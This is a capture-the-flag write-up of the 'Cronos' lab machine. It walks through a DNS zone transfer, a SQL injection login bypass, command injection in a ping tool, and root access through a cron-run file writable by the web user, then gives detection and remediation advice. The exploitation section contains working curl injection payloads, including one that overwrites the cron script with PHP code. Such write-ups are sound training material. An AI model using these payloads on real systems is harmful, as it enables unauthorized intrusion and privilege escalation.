Overview
Cronos is a Medium-rated Linux machine running three services: OpenSSH 7.2p2,
ISC BIND 9.10.3-P4, and Apache 2.4.18. The web server hosts two virtual hosts:
the default cronos.htb (a static Laravel landing page) and admin.cronos.htb
(a custom admin panel called “Net Tool v0.1”). The admin subdomain is not
linked from the main site and is only discoverable through DNS zone transfer.
No CVEs are exploited. Every vulnerability in the chain is a misconfiguration or insecure coding practice: unrestricted zone transfers, unsanitised SQL, unsanitised shell input, and incorrect file ownership on a cron-executed script. The entire chain from unauthenticated attacker to root took six minutes.
Reconnaissance
I start with a service scan:
nmap -sC -sV -A -T4 10.129.227.211
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 | Ubuntu 16.04 |
| 53 | DNS | ISC BIND 9.10.3-P4 (Ubuntu) | Version disclosed via dns-nsid |
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | Virtual host routing |
Port 53 running ISC BIND on a web application box is uncommon and immediately
flags DNS enumeration as a priority. The nmap dns-nsid script discloses
the exact BIND version.
DNS zone transfer
With port 53 open, the first action is testing for unrestricted zone transfers:
dig axfr cronos.htb @10.129.227.211
cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3
cronos.htb. 604800 IN NS ns1.cronos.htb.
cronos.htb. 604800 IN A 10.10.10.13
admin.cronos.htb. 604800 IN A 10.10.10.13
ns1.cronos.htb. 604800 IN A 10.10.10.13
www.cronos.htb. 604800 IN A 10.10.10.13
The zone transfer succeeds without authentication, disclosing four hostnames.
admin.cronos.htb is the critical finding: it hosts a separate virtual host
with a login form for “Net Tool v0.1”.
Attack Surface Analysis
After adding the hostnames to /etc/hosts, I examine both virtual hosts:
cronos.htb: A static Laravel landing page with no interactive functionality. Directory brute-forcing returns only default assets.
admin.cronos.htb: A minimal login form with username and password fields. Behind the login, a “Net Tool v0.1” panel provides ping and traceroute functionality with a host input field.
Two application-level vulnerabilities are immediately apparent: the login form accepts SQL injection, and the network tool passes user input to system commands.
Vulnerability Analysis
SQL injection in login form
The login form concatenates user input directly into an SQL query:
SELECT * FROM users WHERE username='$user' AND password='$pass'
No parameterised queries, no prepared statements, no input sanitisation.
Injecting a tautology (' OR '1'='1) into both fields causes the WHERE
clause to evaluate to true for all rows.
Command injection in Net Tool
The welcome.php script passes the host parameter directly to a system
command:
$output = system($command . ' ' . $host);
Shell metacharacters (semicolons, pipes, backticks) in the host parameter
are interpreted by the shell. No sanitisation, no whitelist, no escaping.
Writable cron script
The system crontab runs /var/www/laravel/artisan as root every minute:
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
The artisan file is owned by www-data:
-rwxr-xr-x 1 www-data www-data 1646 Apr 9 2017 /var/www/laravel/artisan
Any process running as www-data can overwrite it. Cron then executes the
modified file as root within 60 seconds.
| Vulnerability | CWE | CVSS v3.1 | Impact |
|---|---|---|---|
| DNS zone transfer | CWE-200 | 5.3 | Hidden subdomain disclosure |
| SQL injection | CWE-89 | 9.8 | Authentication bypass |
| Command injection | CWE-78 | 9.8 | RCE as www-data |
| Writable cron script | CWE-732 | 7.8 | Root privilege escalation |
Exploitation
Step 1: SQL injection authentication bypass
curl -s -D - -X POST http://admin.cronos.htb/ \
-d "username=admin'+OR+'1'%3d'1&password=admin'+OR+'1'%3d'1"
# HTTP/1.1 302 Found
# Location: /welcome.php
The server redirects to the admin panel. Authentication bypassed.
Step 2: Command injection for user flag
curl -s -b "PHPSESSID=abc123..." \
-X POST http://admin.cronos.htb/welcome.php \
-d "command=ping+-c+1&host=8.8.8.8;id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl -s -b "PHPSESSID=abc123..." \
-X POST http://admin.cronos.htb/welcome.php \
-d "command=ping+-c+1&host=8.8.8.8;cat+/home/noulis/user.txt"
# [flag redacted]
Step 3: Cron job privilege escalation
I overwrite the artisan file with a PHP payload that copies the root flag:
curl -s -b "PHPSESSID=abc123..." \
-X POST http://admin.cronos.htb/welcome.php \
-d "command=ping+-c+1&host=8.8.8.8;echo+'<?php+system(\"cat+/root/root.txt+>+/tmp/root.txt\");+?>'+>+/var/www/laravel/artisan"
After waiting up to 60 seconds for cron to execute:
curl -s -b "PHPSESSID=abc123..." \
-X POST http://admin.cronos.htb/welcome.php \
-d "command=ping+-c+1&host=8.8.8.8;cat+/tmp/root.txt"
# [flag redacted]
A stealthier approach would append a reverse shell to the existing artisan content rather than overwriting it entirely.
Post-Exploitation
System enumeration reveals Ubuntu 16.04.2 LTS with kernel 4.4.0-72-generic. The Laravel application uses a MySQL database. The admin panel credentials are stored in the database and could be extracted for credential reuse testing.
The attack is destructive: overwriting the artisan CLI script breaks Laravel’s scheduled task functionality. In a real engagement, restoring the original file after obtaining access would be appropriate operational discipline.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1590.002 | DNS zone transfer from non-secondary nameserver |
| Initial access | T1190 | SQL injection: single quotes and OR operators in POST body |
| Execution | T1059.004 | Command injection: semicolons in HTTP POST parameters |
| Priv escalation | T1053.003 | Cron-executed file modified by non-root user |
DNS: Configure allow-transfer { none; }; in BIND to block zone transfers
from unauthorised hosts. Log all AXFR requests.
Web application: A WAF with SQL injection detection rules would flag the tautology payload. Parameterised queries in the PHP code would eliminate the vulnerability entirely.
File integrity monitoring: AIDE, OSSEC, or similar tools monitoring
/var/www/laravel/artisan would detect the modification. The file should be
owned by root, not www-data.
Process monitoring: The www-data user spawning sh or bash through
Apache is a high-fidelity alert. No legitimate web application behaviour
requires the web server user to invoke a shell.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Use parameterised queries for all database access | Low | Critical |
| P0 | Sanitise or whitelist the host parameter (reject anything that is not an IP or hostname) | Low | Critical |
| P0 | Change artisan file ownership to root:root | Low | Critical |
| P1 | Restrict DNS zone transfers (allow-transfer { none; }) | Low | High |
| P1 | Suppress BIND version information (version "none") | Low | Low |
| P2 | Implement CSRF tokens on the admin panel forms | Low | Medium |
| P2 | Deploy a WAF with SQL injection and command injection detection | Medium | Medium |
| P3 | Add file integrity monitoring for cron-executed scripts | Medium | Medium |
Every vulnerability in this chain is a basic coding or configuration error. No zero-days, no complex exploit chains, no deep kernel knowledge required. The box demonstrates that most real-world compromises result from fundamental security hygiene failures, not sophisticated attacks.
Key Takeaways
-
DNS zone transfers are a free intelligence source. The entire attack chain depends on discovering
admin.cronos.htb, which is only reachable through zone transfer. A single BIND configuration line (allow-transfer { none; };) would have hidden this subdomain from unauthenticated attackers. -
SQL injection remains the most impactful web vulnerability. Two decades after the first SQL injection paper, applications still concatenate user input into SQL queries. Parameterised queries are a solved problem; there is no excuse for their absence in any modern application.
-
File ownership on cron-executed scripts is a critical control. The artisan file was owned by
www-databecause the deployment process set the web server user as owner of the entire application directory. Cron scripts should always be owned by root with restricted write permissions. The principle: the user that writes a file should never be the user that executes it with elevated privileges.